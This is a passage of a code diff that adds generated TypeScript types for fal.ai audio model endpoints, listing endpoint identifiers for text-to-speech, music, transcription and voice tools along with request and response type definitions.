'fal-ai/audio-understanding', + 'fal-ai/bytedance/seed-speech/tts/v2': 'fal-ai/bytedance/seed-speech/tts/v2', + 'fal-ai/chatterbox/speech-to-speech': 'fal-ai/chatterbox/speech-to-speech', + 'fal-ai/chatterbox/text-to-speech': 'fal-ai/chatterbox/text-to-speech', + 'fal-ai/chatterbox/text-to-speech/multilingual': + 'fal-ai/chatterbox/text-to-speech/multilingual', + 'fal-ai/cohere-transcribe': 'fal-ai/cohere-transcribe', + 'fal-ai/csm-1b': 'fal-ai/csm-1b', + 'fal-ai/deepfilternet3': 'fal-ai/deepfilternet3', + 'fal-ai/demucs': 'fal-ai/demucs', + 'fal-ai/dia-tts': 'fal-ai/dia-tts', + 'fal-ai/dia-tts/voice-clone': 'fal-ai/dia-tts/voice-clone', + 'fal-ai/elevenlabs/audio-isolation': 'fal-ai/elevenlabs/audio-isolation', + 'fal-ai/elevenlabs/forced-alignment': 'fal-ai/elevenlabs/forced-alignment', + 'fal-ai/elevenlabs/music': 'fal-ai/elevenlabs/music', + 'fal-ai/elevenlabs/sound-effects/v2': 'fal-ai/elevenlabs/sound-effects/v2', + 'fal-ai/elevenlabs/speech-to-text': 'fal-ai/elevenlabs/speech-to-text', + 'fal-ai/elevenlabs/speech-to-text/scribe-v2': + 'fal-ai/elevenlabs/speech-to-text/scribe-v2', + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3': + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3', + 'fal-ai/elevenlabs/tts/eleven-v3': 'fal-ai/elevenlabs/tts/eleven-v3', + 'fal-ai/elevenlabs/tts/multilingual-v2': + 'fal-ai/elevenlabs/tts/multilingual-v2', + 'fal-ai/elevenlabs/tts/turbo-v2.5': 'fal-ai/elevenlabs/tts/turbo-v2.5', + 'fal-ai/elevenlabs/voice-changer': 'fal-ai/elevenlabs/voice-changer', + 'fal-ai/f5-tts': 'fal-ai/f5-tts', + 'fal-ai/ffmpeg-api/merge-audios': 'fal-ai/ffmpeg-api/merge-audios', + 'fal-ai/gemini-3.1-flash-tts': 'fal-ai/gemini-3.1-flash-tts', + 'fal-ai/gemini-tts': 'fal-ai/gemini-tts', + 'fal-ai/index-tts-2/text-to-speech': 'fal-ai/index-tts-2/text-to-speech', + 'fal-ai/inworld-tts': 'fal-ai/inworld-tts', + 'fal-ai/kling-video/create-voice': 'fal-ai/kling-video/create-voice', + 'fal-ai/kling-video/v1/tts': 'fal-ai/kling-video/v1/tts', + 'fal-ai/kling-video/video-to-audio': 'fal-ai/kling-video/video-to-audio', + 'fal-ai/kokoro/american-english': 'fal-ai/kokoro/american-english', + 'fal-ai/kokoro/brazilian-portuguese': 'fal-ai/kokoro/brazilian-portuguese', + 'fal-ai/kokoro/british-english': 'fal-ai/kokoro/british-english', + 'fal-ai/kokoro/french': 'fal-ai/kokoro/french', + 'fal-ai/kokoro/hindi': 'fal-ai/kokoro/hindi', + 'fal-ai/kokoro/italian': 'fal-ai/kokoro/italian', + 'fal-ai/kokoro/japanese': 'fal-ai/kokoro/japanese', + 'fal-ai/kokoro/mandarin-chinese': 'fal-ai/kokoro/mandarin-chinese', + 'fal-ai/kokoro/spanish': 'fal-ai/kokoro/spanish', + 'fal-ai/ltx-2.3-quality/text-to-audio': + 'fal-ai/ltx-2.3-quality/text-to-audio', + 'fal-ai/ltx-2.3-quality/text-to-audio/lora': + 'fal-ai/ltx-2.3-quality/text-to-audio/lora', + 'fal-ai/lyria2': 'fal-ai/lyria2', + 'fal-ai/lyria3': 'fal-ai/lyria3', + 'fal-ai/lyria3/pro': 'fal-ai/lyria3/pro', + 'fal-ai/minimax-music': 'fal-ai/minimax-music', + 'fal-ai/minimax-music/v1.5': 'fal-ai/minimax-music/v1.5', + 'fal-ai/minimax-music/v2': 'fal-ai/minimax-music/v2', + 'fal-ai/minimax-music/v2.5': 'fal-ai/minimax-music/v2.5', + 'fal-ai/minimax-music/v2.6': 'fal-ai/minimax-music/v2.6', + 'fal-ai/minimax/preview/speech-2.5-hd': + 'fal-ai/minimax/preview/speech-2.5-hd', + 'fal-ai/minimax/preview/speech-2.5-turbo': + 'fal-ai/minimax/preview/speech-2.5-turbo', + 'fal-ai/minimax/speech-02-hd': 'fal-ai/minimax/speech-02-hd', + 'fal-ai/minimax/speech-02-turbo': 'fal-ai/minimax/speech-02-turbo', + 'fal-ai/minimax/speech-2.6-hd': 'fal-ai/minimax/speech-2.6-hd', + 'fal-ai/minimax/speech-2.6-turbo': 'fal-ai/minimax/speech-2.6-turbo', + 'fal-ai/minimax/speech-2.8-hd': 'fal-ai/minimax/speech-2.8-hd', + 'fal-ai/minimax/speech-2.8-turbo': 'fal-ai/minimax/speech-2.8-turbo', + 'fal-ai/minimax/voice-clone': 'fal-ai/minimax/voice-clone', + 'fal-ai/minimax/voice-design': 'fal-ai/minimax/voice-design', + 'fal-ai/mmaudio-v2/text-to-audio': 'fal-ai/mmaudio-v2/text-to-audio', + 'fal-ai/orpheus-tts': 'fal-ai/orpheus-tts', + 'fal-ai/qwen-3-tts/clone-voice/0.6b': 'fal-ai/qwen-3-tts/clone-voice/0.6b', + 'fal-ai/qwen-3-tts/clone-voice/1.7b': 'fal-ai/qwen-3-tts/clone-voice/1.7b', + 'fal-ai/qwen-3-tts/text-to-speech/0.6b': + 'fal-ai/qwen-3-tts/text-to-speech/0.6b', + 'fal-ai/qwen-3-tts/text-to-speech/1.7b': + 'fal-ai/qwen-3-tts/text-to-speech/1.7b', + 'fal-ai/qwen-3-tts/voice-design/1.7b': 'fal-ai/qwen-3-tts/voice-design/1.7b', + 'fal-ai/sam-audio/separate': 'fal-ai/sam-audio/separate', + 'fal-ai/sam-audio/span-separate': 'fal-ai/sam-audio/span-separate', + 'fal-ai/sam-audio/visual-separate': 'fal-ai/sam-audio/visual-separate', + 'fal-ai/silero-vad': 'fal-ai/silero-vad', + 'fal-ai/speech-to-text': 'fal-ai/speech-to-text', + 'fal-ai/speech-to-text/stream': 'fal-ai/speech-to-text/stream', + 'fal-ai/speech-to-text/turbo': 'fal-ai/speech-to-text/turbo', + 'fal-ai/speech-to-text/turbo/stream': 'fal-ai/speech-to-text/turbo/stream', + 'fal-ai/stable-audio': 'fal-ai/stable-audio', + 'fal-ai/stable-audio-25/audio-to-audio': + 'fal-ai/stable-audio-25/audio-to-audio', + 'fal-ai/stable-audio-25/inpaint': 'fal-ai/stable-audio-25/inpaint', + 'fal-ai/stable-audio-25/text-to-audio': + 'fal-ai/stable-audio-25/text-to-audio', + 'fal-ai/stable-audio-3/medium/audio-inpainting': + 'fal-ai/stable-audio-3/medium/audio-inpainting', + 'fal-ai/stable-audio-3/medium/audio-outpainting': + 'fal-ai/stable-audio-3/medium/audio-outpainting', + 'fal-ai/stable-audio-3/medium/audio-to-audio': + 'fal-ai/stable-audio-3/medium/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/audio-inpainting': + 'fal-ai/stable-audio-3/medium/base/audio-inpainting', + 'fal-ai/stable-audio-3/medium/base/audio-outpainting': + 'fal-ai/stable-audio-3/medium/base/audio-outpainting', + 'fal-ai/stable-audio-3/medium/base/audio-to-audio': + 'fal-ai/stable-audio-3/medium/base/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/text-to-audio': + 'fal-ai/stable-audio-3/medium/base/text-to-audio', + 'fal-ai/stable-audio-3/medium/text-to-audio': + 'fal-ai/stable-audio-3/medium/text-to-audio', + 'fal-ai/stable-audio-3/small/music/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/audio-outpainting', + 'fal-ai/stable-audio-3/small/music/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting', + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/text-to-audio': + 'fal-ai/stable-audio-3/small/music/base/text-to-audio', + 'fal-ai/stable-audio-3/small/music/text-to-audio': + 'fal-ai/stable-audio-3/small/music/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/text-to-audio', + 'fal-ai/tada/1b/text-to-speech': 'fal-ai/tada/1b/text-to-speech', + 'fal-ai/tada/3b/text-to-speech': 'fal-ai/tada/3b/text-to-speech', + 'fal-ai/vibevoice': 'fal-ai/vibevoice', + 'fal-ai/vibevoice/0.5b': 'fal-ai/vibevoice/0.5b', + 'fal-ai/vibevoice/7b': 'fal-ai/vibevoice/7b', + 'fal-ai/wizper': 'fal-ai/wizper', + 'fal-ai/workflow-utilities/audio-compressor': + 'fal-ai/workflow-utilities/audio-compressor', + 'fal-ai/workflow-utilities/impulse-response': + 'fal-ai/workflow-utilities/impulse-response', + 'fal-ai/zonos': 'fal-ai/zonos', + 'fal-ai/zonos2': 'fal-ai/zonos2', + 'google/gemini-3.8-flash-lite-tts': 'google/gemini-3.8-flash-lite-tts', + 'google/gemini-3.8-flash-tts': 'google/gemini-3.8-flash-tts', + 'google/lyria-3.5': 'google/lyria-3.5', + 'heygen/heygen-voice': 'heygen/heygen-voice', + 'heygen/heygen-voice/turbo': 'heygen/heygen-voice/turbo', + 'kotoba-technologies/kotoba-stt/v1/speech-to-text': + 'kotoba-technologies/kotoba-stt/v1/speech-to-text', + 'minimax/music-3': 'minimax/music-3', + 'mirelo-ai/sfx2.0/text-to-audio': 'mirelo-ai/sfx2.0/text-to-audio', + 'mirelo-ai/sfx2.0/video-to-audio': 'mirelo-ai/sfx2.0/video-to-audio', + 'mureka/api/generate/podcast': 'mureka/api/generate/podcast', + 'mureka/api/generate/speech': 'mureka/api/generate/speech', + 'mureka/api/song/describe': 'mureka/api/song/describe', + 'mureka/api/song/edit': 'mureka/api/song/edit', + 'mureka/api/song/recognize': 'mureka/api/song/recognize', + 'mureka/api/song/stem': 'mureka/api/song/stem', + 'mureka/api/song/transcribe': 'mureka/api/song/transcribe', + 'mureka/api/voice/clone': 'mureka/api/voice/clone', + 'mureka/v8/generate/instrumental': 'mureka/v8/generate/instrumental', + 'mureka/v8/generate/song': 'mureka/v8/generate/song', + 'mureka/v8/generate/soundtrack': 'mureka/v8/generate/soundtrack', + 'mureka/v8/generate/track': 'mureka/v8/generate/track', + 'mureka/v8/song/extend': 'mureka/v8/song/extend', + 'mureka/v8/song/remix': 'mureka/v8/song/remix', + 'mureka/v9.5/generate/instrumental': 'mureka/v9.5/generate/instrumental', + 'mureka/v9.5/generate/song': 'mureka/v9.5/generate/song', + 'mureka/v9.5/generate/soundtrack': 'mureka/v9.5/generate/soundtrack', + 'mureka/v9.5/song/remix': 'mureka/v9.5/song/remix', + 'mureka/v9/generate/instrumental': 'mureka/v9/generate/instrumental', + 'mureka/v9/generate/song': 'mureka/v9/generate/song', + 'mureka/v9/generate/soundtrack': 'mureka/v9/generate/soundtrack', + 'nvidia/nemotron-3-nano-omni/audio': 'nvidia/nemotron-3-nano-omni/audio', + 'nvidia/nemotron-asr-multilingual/asr': + 'nvidia/nemotron-asr-multilingual/asr', + 'resemble-ai/chatterboxhd/speech-to-speech': + 'resemble-ai/chatterboxhd/speech-to-speech', + 'resemble-ai/chatterboxhd/text-to-speech': + 'resemble-ai/chatterboxhd/text-to-speech', + 'sonilo/v1.1/text-to-music': 'sonilo/v1.1/text-to-music', + 'sonilo/v1.1/text-to-sound-effects': 'sonilo/v1.1/text-to-sound-effects', + 'sonilo/v1.1/video-to-music': 'sonilo/v1.1/video-to-music', + 'sonilo/v1.1/video-to-sound-effects': 'sonilo/v1.1/video-to-sound-effects', + 'veed/clean-audio': 'veed/clean-audio', + 'xai/grok-voice': 'xai/grok-voice', + 'xai/grok-voice/realtime': 'xai/grok-voice/realtime', + 'xai/tts/v1': 'xai/tts/v1', +} as const + +export type FalPostEndpointIdEndpointIdKey = + (typeof falPostEndpointIdEndpointId)[keyof typeof falPostEndpointIdEndpointId] + +export type FalPostEndpointIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalPostEndpointIdEndpointIdKey +} + +export type FalPostEndpointIdStatus200 = unknown + +export type FalPostEndpointIdBody = + | InputAlibabaQwenAudio3Tts + | InputAsyncTtsProV10 + | InputBytedanceSeedAudio10 + | InputCassetteaiMusicGenerator + | InputCassetteaiSoundEffectsGenerator + | InputElevenlabsMusicV2 + | InputElevenlabsMusicV25 + | InputElevenlabsSoundEffectsV3 + | InputElevenlabsTtsElevenV4 + | InputElevenlabsTtsElevenV4Turbo + | InputFalAiAceStep + | InputFalAiAceStepAudioInpaint + | InputFalAiAceStepAudioOutpaint + | InputFalAiAceStepAudioToAudio + | InputFalAiAceStepPromptToAudio + | InputFalAiAudioUnderstanding + | InputFalAiBytedanceSeedSpeechTtsV2 + | InputFalAiChatterboxSpeechToSpeech + | InputFalAiChatterboxTextToSpeech + | InputFalAiChatterboxTextToSpeechMultilingual + | InputFalAiCohereTranscribe + | InputFalAiCsm1B + | InputFalAiDeepfilternet3 + | InputFalAiDemucs + | InputFalAiDiaTts + | InputFalAiDiaTtsVoiceClone + | InputFalAiElevenlabsAudioIsolation + | InputFalAiElevenlabsForcedAlignment + | InputFalAiElevenlabsMusic + | InputFalAiElevenlabsSoundEffectsV2 + | InputFalAiElevenlabsSpeechToText + | InputFalAiElevenlabsSpeechToTextScribeV2 + | InputFalAiElevenlabsTextToDialogueElevenV3 + | InputFalAiElevenlabsTtsElevenV3 + | InputFalAiElevenlabsTtsMultilingualV2 + | InputFalAiElevenlabsTtsTurboV25 + | InputFalAiElevenlabsVoiceChanger + | InputFalAiF5Tts + | InputFalAiFfmpegApiMergeAudios + | InputFalAiGemini31FlashTts + | InputFalAiGeminiTts + | InputFalAiIndexTts2TextToSpeech + | InputFalAiInworldTts + | InputFalAiKlingVideoCreateVoice + | InputFalAiKlingVideoV1Tts + | InputFalAiKlingVideoVideoToAudio + | InputFalAiKokoroAmericanEnglish + | InputFalAiKokoroBrazilianPortuguese + | InputFalAiKokoroBritishEnglish + | InputFalAiKokoroFrench + | InputFalAiKokoroHindi + | InputFalAiKokoroItalian + | InputFalAiKokoroJapanese + | InputFalAiKokoroMandarinChinese + | InputFalAiKokoroSpanish + | InputFalAiLtx23QualityTextToAudio + | InputFalAiLtx23QualityTextToAudioLora + | InputFalAiLyria2 + | InputFalAiLyria3 + | InputFalAiLyria3Pro + | InputFalAiMinimaxMusic + | InputFalAiMinimaxMusicV15 + | InputFalAiMinimaxMusicV2 + | InputFalAiMinimaxMusicV25 + | InputFalAiMinimaxMusicV26 + | InputFalAiMinimaxPreviewSpeech25Hd + | InputFalAiMinimaxPreviewSpeech25Turbo + | InputFalAiMinimaxSpeech02Hd + | InputFalAiMinimaxSpeech02Turbo + | InputFalAiMinimaxSpeech26Hd + | InputFalAiMinimaxSpeech26Turbo + | InputFalAiMinimaxSpeech28Hd + | InputFalAiMinimaxSpeech28Turbo + | InputFalAiMinimaxVoiceClone + | InputFalAiMinimaxVoiceDesign + | InputFalAiMmaudioV2TextToAudio + | InputFalAiOrpheusTts + | InputFalAiQwen3TtsCloneVoice06B + | InputFalAiQwen3TtsCloneVoice17B + | InputFalAiQwen3TtsTextToSpeech06B + | InputFalAiQwen3TtsTextToSpeech17B + | InputFalAiQwen3TtsVoiceDesign17B + | InputFalAiSamAudioSeparate + | InputFalAiSamAudioSpanSeparate + | InputFalAiSamAudioVisualSeparate + | InputFalAiSileroVad + | InputFalAiSpeechToText + | InputFalAiSpeechToTextStream + | InputFalAiSpeechToTextTurbo + | InputFalAiSpeechToTextTurboStream + | InputFalAiStableAudio + | InputFalAiStableAudio25AudioToAudio + | InputFalAiStableAudio25Inpaint + | InputFalAiStableAudio25TextToAudio + | InputFalAiStableAudio3MediumAudioInpainting + | InputFalAiStableAudio3MediumAudioOutpainting + | InputFalAiStableAudio3MediumAudioToAudio + | InputFalAiStableAudio3MediumBaseAudioInpainting + | InputFalAiStableAudio3MediumBaseAudioOutpainting + | InputFalAiStableAudio3MediumBaseAudioToAudio + | InputFalAiStableAudio3MediumBaseTextToAudio + | InputFalAiStableAudio3MediumTextToAudio + | InputFalAiStableAudio3SmallMusicAudioInpainting + | InputFalAiStableAudio3SmallMusicAudioOutpainting + | InputFalAiStableAudio3SmallMusicAudioToAudio + | InputFalAiStableAudio3SmallMusicBaseAudioInpainting + | InputFalAiStableAudio3SmallMusicBaseAudioOutpainting + | InputFalAiStableAudio3SmallMusicBaseAudioToAudio + | InputFalAiStableAudio3SmallMusicBaseTextToAudio + | InputFalAiStableAudio3SmallMusicTextToAudio + | InputFalAiStableAudio3SmallSfxAudioInpainting + | InputFalAiStableAudio3SmallSfxAudioOutpainting + | InputFalAiStableAudio3SmallSfxAudioToAudio + | InputFalAiStableAudio3SmallSfxBaseAudioInpainting + | InputFalAiStableAudio3SmallSfxBaseAudioOutpainting + | InputFalAiStableAudio3SmallSfxBaseAudioToAudio + | InputFalAiStableAudio3SmallSfxBaseTextToAudio + | InputFalAiStableAudio3SmallSfxTextToAudio + | InputFalAiTada1BTextToSpeech + | InputFalAiTada3BTextToSpeech + | InputFalAiVibevoice + | InputFalAiVibevoice05B + | InputFalAiVibevoice7B + | InputFalAiWizper + | InputFalAiWorkflowUtilitiesAudioCompressor + | InputFalAiWorkflowUtilitiesImpulseResponse + | InputFalAiZonos + | InputFalAiZonos2 + | InputGoogleGemini38FlashLiteTts + | InputGoogleGemini38FlashTts + | InputGoogleLyria35 + | InputHeygenHeygenVoice + | InputHeygenHeygenVoiceTurbo + | InputKotobaTechnologiesKotobaSttV1SpeechToText + | InputMinimaxMusic3 + | InputMireloAiSfx20TextToAudio + | InputMireloAiSfx20VideoToAudio + | InputMurekaApiGeneratePodcast + | InputMurekaApiGenerateSpeech + | InputMurekaApiSongDescribe + | InputMurekaApiSongEdit + | InputMurekaApiSongRecognize + | InputMurekaApiSongStem + | InputMurekaApiSongTranscribe + | InputMurekaApiVoiceClone + | InputMurekaV8GenerateInstrumental + | InputMurekaV8GenerateSong + | InputMurekaV8GenerateSoundtrack + | InputMurekaV8GenerateTrack + | InputMurekaV8SongExtend + | InputMurekaV8SongRemix + | InputMurekaV95GenerateInstrumental + | InputMurekaV95GenerateSong + | InputMurekaV95GenerateSoundtrack + | InputMurekaV95SongRemix + | InputMurekaV9GenerateInstrumental + | InputMurekaV9GenerateSong + | InputMurekaV9GenerateSoundtrack + | InputNvidiaNemotron3NanoOmniAudio + | InputNvidiaNemotronAsrMultilingualAsr + | InputResembleAiChatterboxhdSpeechToSpeech + | InputResembleAiChatterboxhdTextToSpeech + | InputSoniloV11TextToMusic + | InputSoniloV11TextToSoundEffects + | InputSoniloV11VideoToMusic + | InputSoniloV11VideoToSoundEffects + | InputVeedCleanAudio + | InputXaiGrokVoice + | InputXaiGrokVoiceRealtime + | InputXaiTtsV1 + +export type FalPostEndpointIdOptions = { + body: FalPostEndpointIdBody + path: FalPostEndpointIdPath + query?: never + headers?: never +} + +export type FalPostEndpointIdResponses = { + '200': FalPostEndpointIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalPostEndpointIdResponse = FalPostEndpointIdStatus200 + +export const falGetEndpointIdRequestsRequestIdEndpointId = { + 'alibaba/qwen-audio-3-tts': 'alibaba/qwen-audio-3-tts', + 'async/tts-pro/v1.0': 'async/tts-pro/v1.0', + 'bytedance/seed-audio-1.0': 'bytedance/seed-audio-1.0', + 'cassetteai/music-generator': 'cassetteai/music-generator', + 'cassetteai/sound-effects-generator': 'cassetteai/sound-effects-generator', + 'elevenlabs/music/v2': 'elevenlabs/music/v2', + 'elevenlabs/music/v2.5': 'elevenlabs/music/v2.5', + 'elevenlabs/sound-effects/v3': 'elevenlabs/sound-effects/v3', + 'elevenlabs/tts/eleven-v4': 'elevenlabs/tts/eleven-v4', + 'elevenlabs/tts/eleven-v4-turbo': 'elevenlabs/tts/eleven-v4-turbo', + 'fal-ai/ace-step': 'fal-ai/ace-step', + 'fal-ai/ace-step/audio-inpaint': 'fal-ai/ace-step/audio-inpaint', + 'fal-ai/ace-step/audio-outpaint': 'fal-ai/ace-step/audio-outpaint', + 'fal-ai/ace-step/audio-to-audio': 'fal-ai/ace-step/audio-to-audio', + 'fal-ai/ace-step/prompt-to-audio': 'fal-ai/ace-step/prompt-to-audio', + 'fal-ai/audio-understanding': 'fal-ai/audio-understanding', + 'fal-ai/bytedance/seed-speech/tts/v2': 'fal-ai/bytedance/seed-speech/tts/v2', + 'fal-ai/chatterbox/speech-to-speech': 'fal-ai/chatterbox/speech-to-speech', + 'fal-ai/chatterbox/text-to-speech': 'fal-ai/chatterbox/text-to-speech', + 'fal-ai/chatterbox/text-to-speech/multilingual': + 'fal-ai/chatterbox/text-to-speech/multilingual', + 'fal-ai/cohere-transcribe': 'fal-ai/cohere-transcribe', + 'fal-ai/csm-1b': 'fal-ai/csm-1b', + 'fal-ai/deepfilternet3': 'fal-ai/deepfilternet3', + 'fal-ai/demucs': 'fal-ai/demucs', + 'fal-ai/dia-tts': 'fal-ai/dia-tts', + 'fal-ai/dia-tts/voice-clone': 'fal-ai/dia-tts/voice-clone', + 'fal-ai/elevenlabs/audio-isolation': 'fal-ai/elevenlabs/audio-isolation', + 'fal-ai/elevenlabs/forced-alignment': 'fal-ai/elevenlabs/forced-alignment', + 'fal-ai/elevenlabs/music': 'fal-ai/elevenlabs/music', + 'fal-ai/elevenlabs/sound-effects/v2': 'fal-ai/elevenlabs/sound-effects/v2', + 'fal-ai/elevenlabs/speech-to-text': 'fal-ai/elevenlabs/speech-to-text', + 'fal-ai/elevenlabs/speech-to-text/scribe-v2': + 'fal-ai/elevenlabs/speech-to-text/scribe-v2', + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3': + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3', + 'fal-ai/elevenlabs/tts/eleven-v3': 'fal-ai/elevenlabs/tts/eleven-v3', + 'fal-ai/elevenlabs/tts/multilingual-v2': + 'fal-ai/elevenlabs/tts/multilingual-v2', + 'fal-ai/elevenlabs/tts/turbo-v2.5': 'fal-ai/elevenlabs/tts/turbo-v2.5', + 'fal-ai/elevenlabs/voice-changer': 'fal-ai/elevenlabs/voice-changer', + 'fal-ai/f5-tts': 'fal-ai/f5-tts', + 'fal-ai/ffmpeg-api/merge-audios': 'fal-ai/ffmpeg-api/merge-audios', + 'fal-ai/gemini-3.1-flash-tts': 'fal-ai/gemini-3.1-flash-tts', + 'fal-ai/gemini-tts': 'fal-ai/gemini-tts', + 'fal-ai/index-tts-2/text-to-speech': 'fal-ai/index-tts-2/text-to-speech', + 'fal-ai/inworld-tts': 'fal-ai/inworld-tts', + 'fal-ai/kling-video/create-voice': 'fal-ai/kling-video/create-voice', + 'fal-ai/kling-video/v1/tts': 'fal-ai/kling-video/v1/tts', + 'fal-ai/kling-video/video-to-audio': 'fal-ai/kling-video/video-to-audio', + 'fal-ai/kokoro/american-english': 'fal-ai/kokoro/american-english', + 'fal-ai/kokoro/brazilian-portuguese': 'fal-ai/kokoro/brazilian-portuguese', + 'fal-ai/kokoro/british-english': 'fal-ai/kokoro/british-english', + 'fal-ai/kokoro/french': 'fal-ai/kokoro/french', + 'fal-ai/kokoro/hindi': 'fal-ai/kokoro/hindi', + 'fal-ai/kokoro/italian': 'fal-ai/kokoro/italian', + 'fal-ai/kokoro/japanese': 'fal-ai/kokoro/japanese', + 'fal-ai/kokoro/mandarin-chinese': 'fal-ai/kokoro/mandarin-chinese', + 'fal-ai/kokoro/spanish': 'fal-ai/kokoro/spanish', + 'fal-ai/ltx-2.3-quality/text-to-audio': + 'fal-ai/ltx-2.3-quality/text-to-audio', + 'fal-ai/ltx-2.3-quality/text-to-audio/lora': + 'fal-ai/ltx-2.3-quality/text-to-audio/lora', + 'fal-ai/lyria2': 'fal-ai/lyria2', + 'fal-ai/lyria3': 'fal-ai/lyria3', + 'fal-ai/lyria3/pro': 'fal-ai/lyria3/pro', + 'fal-ai/minimax-music': 'fal-ai/minimax-music', + 'fal-ai/minimax-music/v1.5': 'fal-ai/minimax-music/v1.5', + 'fal-ai/minimax-music/v2': 'fal-ai/minimax-music/v2', + 'fal-ai/minimax-music/v2.5': 'fal-ai/minimax-music/v2.5', + 'fal-ai/minimax-music/v2.6': 'fal-ai/minimax-music/v2.6', + 'fal-ai/minimax/preview/speech-2.5-hd': + 'fal-ai/minimax/preview/speech-2.5-hd', + 'fal-ai/minimax/preview/speech-2.5-turbo': + 'fal-ai/minimax/preview/speech-2.5-turbo', + 'fal-ai/minimax/speech-02-hd': 'fal-ai/minimax/speech-02-hd', + 'fal-ai/minimax/speech-02-turbo': 'fal-ai/minimax/speech-02-turbo', + 'fal-ai/minimax/speech-2.6-hd': 'fal-ai/minimax/speech-2.6-hd', + 'fal-ai/minimax/speech-2.6-turbo': 'fal-ai/minimax/speech-2.6-turbo', + 'fal-ai/minimax/speech-2.8-hd': 'fal-ai/minimax/speech-2.8-hd', + 'fal-ai/minimax/speech-2.8-turbo': 'fal-ai/minimax/speech-2.8-turbo', + 'fal-ai/minimax/voice-clone': 'fal-ai/minimax/voice-clone', + 'fal-ai/minimax/voice-design': 'fal-ai/minimax/voice-design', + 'fal-ai/mmaudio-v2/text-to-audio': 'fal-ai/mmaudio-v2/text-to-audio', + 'fal-ai/orpheus-tts': 'fal-ai/orpheus-tts', + 'fal-ai/qwen-3-tts/clone-voice/0.6b': 'fal-ai/qwen-3-tts/clone-voice/0.6b', + 'fal-ai/qwen-3-tts/clone-voice/1.7b': 'fal-ai/qwen-3-tts/clone-voice/1.7b', + 'fal-ai/qwen-3-tts/text-to-speech/0.6b': + 'fal-ai/qwen-3-tts/text-to-speech/0.6b', + 'fal-ai/qwen-3-tts/text-to-speech/1.7b': + 'fal-ai/qwen-3-tts/text-to-speech/1.7b', + 'fal-ai/qwen-3-tts/voice-design/1.7b': 'fal-ai/qwen-3-tts/voice-design/1.7b', + 'fal-ai/sam-audio/separate': 'fal-ai/sam-audio/separate', + 'fal-ai/sam-audio/span-separate': 'fal-ai/sam-audio/span-separate', + 'fal-ai/sam-audio/visual-separate': 'fal-ai/sam-audio/visual-separate', + 'fal-ai/silero-vad': 'fal-ai/silero-vad', + 'fal-ai/speech-to-text': 'fal-ai/speech-to-text', + 'fal-ai/speech-to-text/stream': 'fal-ai/speech-to-text/stream', + 'fal-ai/speech-to-text/turbo': 'fal-ai/speech-to-text/turbo', + 'fal-ai/speech-to-text/turbo/stream': 'fal-ai/speech-to-text/turbo/stream', + 'fal-ai/stable-audio': 'fal-ai/stable-audio', + 'fal-ai/stable-audio-25/audio-to-audio': + 'fal-ai/stable-audio-25/audio-to-audio', + 'fal-ai/stable-audio-25/inpaint': 'fal-ai/stable-audio-25/inpaint', + 'fal-ai/stable-audio-25/text-to-audio': + 'fal-ai/stable-audio-25/text-to-audio', + 'fal-ai/stable-audio-3/medium/audio-inpainting': + 'fal-ai/stable-audio-3/medium/audio-inpainting', + 'fal-ai/stable-audio-3/medium/audio-outpainting': + 'fal-ai/stable-audio-3/medium/audio-outpainting', + 'fal-ai/stable-audio-3/medium/audio-to-audio': + 'fal-ai/stable-audio-3/medium/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/audio-inpainting': + 'fal-ai/stable-audio-3/medium/base/audio-inpainting', + 'fal-ai/stable-audio-3/medium/base/audio-outpainting': + 'fal-ai/stable-audio-3/medium/base/audio-outpainting', + 'fal-ai/stable-audio-3/medium/base/audio-to-audio': + 'fal-ai/stable-audio-3/medium/base/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/text-to-audio': + 'fal-ai/stable-audio-3/medium/base/text-to-audio', + 'fal-ai/stable-audio-3/medium/text-to-audio': + 'fal-ai/stable-audio-3/medium/text-to-audio', + 'fal-ai/stable-audio-3/small/music/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/audio-outpainting', + 'fal-ai/stable-audio-3/small/music/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting', + 